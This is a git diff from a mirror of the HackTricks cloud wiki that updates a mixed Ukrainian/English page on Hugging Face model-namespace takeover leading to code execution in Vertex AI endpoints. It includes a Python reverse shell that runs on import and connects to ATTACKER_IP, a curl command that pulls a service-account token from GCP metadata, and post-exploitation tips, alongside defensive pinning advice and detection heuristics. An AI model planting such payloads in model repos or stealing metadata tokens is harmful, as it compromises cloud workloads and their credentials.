mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 13:05:19 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor
This commit is contained in:
@@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Сценарій
|
||||
## Scenario
|
||||
|
||||
- Vertex AI Model Garden дозволяє безпосереднє розгортання багатьох Hugging Face (HF) моделей.
|
||||
- HF ідентифікатори моделей мають формат Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути повторно зареєстроване будь-ким. Атакуючі можуть створити репозиторій з тим самим ModelName за тим самим старим шляхом.
|
||||
- Пайплайни, SDKs або хмарні каталоги, які отримують модель лише за іменем (без pinning/integrity), завантажать репозиторій, контрольований атакуючим. Коли модель розгортається, код завантажувача з цього репозиторію може виконатися всередині контейнера кінцевої точки Vertex AI, що дає RCE з правами кінцевої точки.
|
||||
- Vertex AI Model Garden дозволяє безпосередньо розгортати багато Hugging Face (HF) моделей.
|
||||
- HF model identifiers are Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути перереєстроване будь-ким. Атакуючі можуть створити repo з тим самим ModelName за старим шляхом.
|
||||
- Pipelines, SDKs, або cloud catalogs, які підтягують за ім'ям (без pinning/integrity), підтягнуть repo під контролем атакуючого. Коли модель буде розгорнута, loader code з цього repo може виконатися всередині контейнера endpoint Vertex AI, надаючи RCE з дозволами endpoint.
|
||||
|
||||
Два поширені випадки takeover на HF:
|
||||
- Ownership deletion: старий шлях повертає 404, поки хтось не зареєструє автора і не опублікує той самий ModelName.
|
||||
- Ownership transfer: HF повертає 307 redirect з старого Author/ModelName до нового автора, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований атакуючим, ланцюжок редиректів буде порвано і репозиторій атакуючого обслуговуватиме застарілий шлях.
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: Старий шлях повертає 404, поки хтось не перереєструє автора і не опублікує той самий ModelName.
|
||||
- Ownership transfer: HF повертає 307 редиректи зі старого Author/ModelName на нового автора. Якщо старий автор пізніше видаляється і його ім'я перереєструє атакуючий, ланцюжок редиректів буде порушений і repo атакуючого обслуговуватиме старий шлях.
|
||||
|
||||
## Визначення повторно використовуваних просторів імен (HF)
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
|
||||
- Старий автор видалений: сторінка автора повертає 404; шлях моделі може повертати 404, поки не відбудеться takeover.
|
||||
- Передані моделі: старий шлях моделі повертає 307 до нового власника, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований, застарілий шлях буде вказувати на репозиторій атакуючого.
|
||||
- Old author deleted: сторінка автора повертає 404; шлях до моделі може повертати 404 до takeover.
|
||||
- Transferred models: старий шлях моделі повертає 307 на нового власника, поки старий автор існує. Якщо старий автор пізніше видаляється і його ім'я перереєструють, legacy path буде вказувати на repo атакуючого.
|
||||
|
||||
Швидкі перевірки за допомогою curl:
|
||||
Quick checks with curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
@@ -28,24 +28,24 @@ curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Повний сценарій атаки проти Vertex AI
|
||||
## Повний ланцюг атаки проти Vertex AI
|
||||
|
||||
1) Виявити повторно використовувані простори імен моделей, які Model Garden відображає як deployable:
|
||||
- Знайти HF models у Vertex AI Model Garden, які досі показуються як “verified deployable”.
|
||||
- Перевірити на HF, чи оригінальний автор видалений або чи модель була передана і старий автор пізніше видалений.
|
||||
1) Виявити повторно використовувані неймспейси моделей, які Model Garden позначає як deployable:
|
||||
- Знайти HF models у Vertex AI Model Garden, які все ще відображаються як “verified deployable”.
|
||||
- Перевірити на HF, чи оригінальний author видалений, або чи модель була передана і старий author пізніше видалений.
|
||||
|
||||
2) Повторно зареєструвати видаленого автора на HF та відтворити той самий ModelName.
|
||||
2) Повторно зареєструвати видаленого author на HF та відтворити той самий ModelName.
|
||||
|
||||
3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
|
||||
- Побічні ефекти в __init__.py репо
|
||||
- Custom modeling_*.py або processing code, на які посилається config/auto_map
|
||||
- Code paths that require trust_remote_code=True in Transformers pipelines
|
||||
3) Опублікувати шкідливий repo. Включити код, який виконується під час model load. Приклади, які зазвичай виконуються під час HF model load:
|
||||
- Побічні ефекти в __init__.py репозиторію
|
||||
- Custom modeling_*.py або processing код, на який посилається config/auto_map
|
||||
- Шляхи коду, які потребують trust_remote_code=True у Transformers pipelines
|
||||
|
||||
4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
|
||||
4) Розгортання у Vertex AI для спадкового Author/ModelName тепер підтягує репозиторій зловмисника. Лоадер виконується всередині контейнера Vertex AI endpoint.
|
||||
|
||||
5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.
|
||||
5) Payload встановлює доступ із середовища endpoint (RCE) з правами endpoint’а.
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
Приклад фрагмента payload, що виконується при import (тільки для демонстрації):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Примітки
|
||||
- Реальні loaders відрізняються. Багато інтеграцій Vertex AI HF клонує та імпортує модулі з repo, на які посилається конфіг моделі (наприклад, auto_map), що може спричинити виконання коду. Деякі випадки вимагають trust_remote_code=True.
|
||||
- Зазвичай endpoint запускається в окремому контейнері з обмеженою сферою, але це дійсна початкова опора для доступу до даних та lateral movement у GCP.
|
||||
- Реальні лоадери можуть відрізнятися. Багато інтеграцій Vertex AI HF клонують та імпортують модулі з репозиторіїв, на які посилається конфігурація моделі (наприклад, auto_map), що може призвести до виконання коду. Для деяких випадків необхідно trust_remote_code=True.
|
||||
- The endpoint typically runs in a dedicated container with limited scope, but it is a valid initial foothold for data access and lateral movement in GCP.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Once code is running inside the endpoint container, consider:
|
||||
- Перелічити environment variables та metadata для credentials/tokens
|
||||
- Отримати доступ до attached storage або змонтованих model artifacts
|
||||
- Перелічити змінні оточення та метадані для виявлення облікових даних/токенів
|
||||
- Отримати доступ до приєднаного сховища або змонтованих артефактів моделі
|
||||
- Взаємодіяти з Google APIs через service account identity (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistence у model artifact якщо платформа re-pulls repo
|
||||
- Забезпечити персистенцію в артефакті моделі, якщо платформа повторно витягує репозиторій
|
||||
|
||||
Перелічте instance metadata, якщо доступно (залежить від контейнера):
|
||||
Enumerate instance metadata if accessible (container dependent):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Захисні рекомендації для користувачів Vertex AI
|
||||
## Рекомендації з безпеки для користувачів Vertex AI
|
||||
|
||||
- Закріплюйте моделі за commit у HF loaders, щоб запобігти тихому заміщенню:
|
||||
- Закріплюйте моделі за commit у HF loaders, щоб запобігти прихованій заміні:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Зберігайте перевірені HF models у довіреному внутрішньому artifact store/registry і розгортайте їх звідти.
|
||||
- Постійно скануйте репозиторії коду та конфіги на наявність жорстко закодованих Author/ModelName, які були видалені/перенесені; оновлюйте до нових namespaces або фіксуйте (pin) на коміті.
|
||||
- Реплікуйте перевірені HF models у довірений внутрішній artifact store/registry і розгортайте звідти.
|
||||
- Постійно скануйте codebases і configs на наявність захардкоджених Author/ModelName, які були deleted/transferred; оновлюйте на нові namespaces або закріплюйте за конкретним commit.
|
||||
- У Model Garden перевіряйте походження моделі та існування автора перед розгортанням.
|
||||
|
||||
## Евристики виявлення (HTTP)
|
||||
## Евристики розпізнавання (HTTP)
|
||||
|
||||
- Видалений автор: сторінка автора повертає 404; старий шлях до моделі повертає 404 до моменту takeover.
|
||||
- Перенесена модель: старий шлях дає 307 на нового автора, поки старий автор існує; якщо старого автора згодом видалять і зареєструють заново, старий шлях може віддавати контент від атакуючого.
|
||||
- Видалений автор: author page 404; legacy model path 404 до takeover.
|
||||
- Передана модель: legacy path 307 на нового автора, поки старий автор існує; якщо старого автора пізніше видалять і повторно зареєструють, legacy path починає віддавати attacker content.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Перехресні посилання
|
||||
|
||||
- Див. ширшу методологію та зауваження щодо ланцюга постачання:
|
||||
- Див. ширшу методологію та нотатки щодо ланцюга постачання:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
|
||||
Reference in New Issue
Block a user